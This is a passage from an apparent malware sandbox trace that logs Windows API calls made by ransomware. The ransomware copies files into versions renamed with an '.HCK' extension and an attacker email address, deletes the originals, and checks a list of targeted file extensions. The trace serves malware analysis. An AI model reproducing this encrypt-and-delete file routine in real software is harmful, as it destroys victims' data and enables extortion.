lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.156] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x116, lpOverlapped=0x0) returned 1 [0159.156] SetEndOfFile (hFile=0x2e8) returned 1 [0159.156] CloseHandle (hObject=0x2e8) returned 1 [0159.157] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.157] SetEndOfFile (hFile=0x364) returned 1 [0159.158] CloseHandle (hObject=0x364) returned 1 [0159.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.158] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0159.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.158] lstrlenW (lpString=".doc") returned 4 [0159.158] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.159] lstrlenW (lpString=".docx") returned 5 [0159.159] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.159] lstrlenW (lpString=".pdf") returned 4 [0159.159] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.159] lstrlenW (lpString=".xls") returned 4 [0159.159] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.159] lstrlenW (lpString=".xlsx") returned 5 [0159.159] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.159] lstrlenW (lpString=".ppt") returned 4 [0159.159] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.159] lstrlenW (lpString=".zip") returned 4 [0159.159] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.159] lstrlenW (lpString=".rar") returned 4 [0159.159] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.159] lstrlenW (lpString=".bz2") returned 4 [0159.159] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.159] lstrlenW (lpString=".7z") returned 3 [0159.159] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.159] lstrlenW (lpString=".dbf") returned 4 [0159.159] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.159] lstrlenW (lpString=".1cd") returned 4 [0159.159] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.159] lstrlenW (lpString=".jpg") returned 4 [0159.159] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.159] lstrlenW (lpString=".doc") returned 4 [0159.159] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.159] lstrlenW (lpString=".docx") returned 5 [0159.160] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.160] lstrlenW (lpString=".pdf") returned 4 [0159.160] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.160] lstrlenW (lpString=".xls") returned 4 [0159.160] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.160] lstrlenW (lpString=".xlsx") returned 5 [0159.160] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.160] lstrlenW (lpString=".ppt") returned 4 [0159.160] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.160] lstrlenW (lpString=".zip") returned 4 [0159.160] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.160] lstrlenW (lpString=".rar") returned 4 [0159.160] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.160] lstrlenW (lpString=".bz2") returned 4 [0159.160] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.160] lstrlenW (lpString=".7z") returned 3 [0159.160] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.160] lstrlenW (lpString=".dbf") returned 4 [0159.160] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.160] lstrlenW (lpString=".1cd") returned 4 [0159.160] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0159.160] lstrlenW (lpString=".jpg") returned 4 [0159.160] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.160] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.160] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0159.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.161] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=19136) returned 1 [0159.161] CloseHandle (hObject=0x2ec) returned 1 [0159.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0159.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.161] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.161] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.162] GetLastError () returned 0x0 [0159.162] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0159.163] WriteFile (in: hFile=0x364, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0159.164] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.164] WriteFile (in: hFile=0x364, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11e, lpOverlapped=0x0) returned 1 [0159.164] SetEndOfFile (hFile=0x364) returned 1 [0159.164] CloseHandle (hObject=0x364) returned 1 [0159.165] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.165] SetEndOfFile (hFile=0x2ec) returned 1 [0159.166] CloseHandle (hObject=0x2ec) returned 1 [0159.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.166] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0159.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.166] lstrlenW (lpString=".doc") returned 4 [0159.166] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.166] lstrlenW (lpString=".docx") returned 5 [0159.166] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.166] lstrlenW (lpString=".pdf") returned 4 [0159.166] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString=".xls") returned 4 [0159.167] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString=".xlsx") returned 5 [0159.167] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.167] lstrlenW (lpString=".ppt") returned 4 [0159.167] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.167] lstrlenW (lpString=".zip") returned 4 [0159.167] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString=".rar") returned 4 [0159.167] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString=".bz2") returned 4 [0159.167] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.167] lstrlenW (lpString=".7z") returned 3 [0159.167] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.167] lstrlenW (lpString=".dbf") returned 4 [0159.167] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.167] lstrlenW (lpString=".1cd") returned 4 [0159.167] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.167] lstrlenW (lpString=".jpg") returned 4 [0159.167] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.167] lstrlenW (lpString=".doc") returned 4 [0159.167] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString=".docx") returned 5 [0159.167] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.167] lstrlenW (lpString=".pdf") returned 4 [0159.167] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString=".xls") returned 4 [0159.167] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString=".xlsx") returned 5 [0159.167] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.167] lstrlenW (lpString=".ppt") returned 4 [0159.167] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.167] lstrlenW (lpString=".zip") returned 4 [0159.167] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.167] lstrlenW (lpString=".rar") returned 4 [0159.168] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.168] lstrlenW (lpString=".bz2") returned 4 [0159.168] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.168] lstrlenW (lpString=".7z") returned 3 [0159.168] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.168] lstrlenW (lpString=".dbf") returned 4 [0159.168] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.168] lstrlenW (lpString=".1cd") returned 4 [0159.168] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0159.168] lstrlenW (lpString=".jpg") returned 4 [0159.168] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.168] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.168] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0159.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.168] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=20672) returned 1 [0159.168] CloseHandle (hObject=0x2ec) returned 1 [0159.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0159.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.169] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.169] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.169] GetLastError () returned 0x0 [0159.169] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x50c0, lpOverlapped=0x0) returned 1 [0159.480] WriteFile (in: hFile=0x364, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x50d0, lpOverlapped=0x0) returned 1 [0159.801] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.801] WriteFile (in: hFile=0x364, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11c, lpOverlapped=0x0) returned 1 [0159.801] SetEndOfFile (hFile=0x364) returned 1 [0159.801] CloseHandle (hObject=0x364) returned 1 [0159.802] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.802] SetEndOfFile (hFile=0x2ec) returned 1 [0159.803] CloseHandle (hObject=0x2ec) returned 1 [0159.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.803] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0159.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.803] lstrlenW (lpString=".doc") returned 4 [0159.803] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.803] lstrlenW (lpString=".docx") returned 5 [0159.803] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.803] lstrlenW (lpString=".pdf") returned 4 [0159.803] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.803] lstrlenW (lpString=".xls") returned 4 [0159.804] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString=".xlsx") returned 5 [0159.804] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.804] lstrlenW (lpString=".ppt") returned 4 [0159.804] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.804] lstrlenW (lpString=".zip") returned 4 [0159.804] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString=".rar") returned 4 [0159.804] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString=".bz2") returned 4 [0159.804] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.804] lstrlenW (lpString=".7z") returned 3 [0159.804] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.804] lstrlenW (lpString=".dbf") returned 4 [0159.804] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.804] lstrlenW (lpString=".1cd") returned 4 [0159.804] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.804] lstrlenW (lpString=".jpg") returned 4 [0159.804] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.804] lstrlenW (lpString=".doc") returned 4 [0159.804] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString=".docx") returned 5 [0159.804] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.804] lstrlenW (lpString=".pdf") returned 4 [0159.804] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString=".xls") returned 4 [0159.804] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString=".xlsx") returned 5 [0159.804] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.804] lstrlenW (lpString=".ppt") returned 4 [0159.804] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.804] lstrlenW (lpString=".zip") returned 4 [0159.804] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString=".rar") returned 4 [0159.804] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.804] lstrlenW (lpString=".bz2") returned 4 [0159.804] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.804] lstrlenW (lpString=".7z") returned 3 [0159.805] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.805] lstrlenW (lpString=".dbf") returned 4 [0159.805] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.805] lstrlenW (lpString=".1cd") returned 4 [0159.805] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0159.805] lstrlenW (lpString=".jpg") returned 4 [0159.805] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.805] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.805] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0159.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.805] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=473760) returned 1 [0159.805] CloseHandle (hObject=0x2ec) returned 1 [0159.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0159.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.805] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.805] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.806] GetLastError () returned 0x0 [0159.806] ReadFile (in: hFile=0x2ec, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: 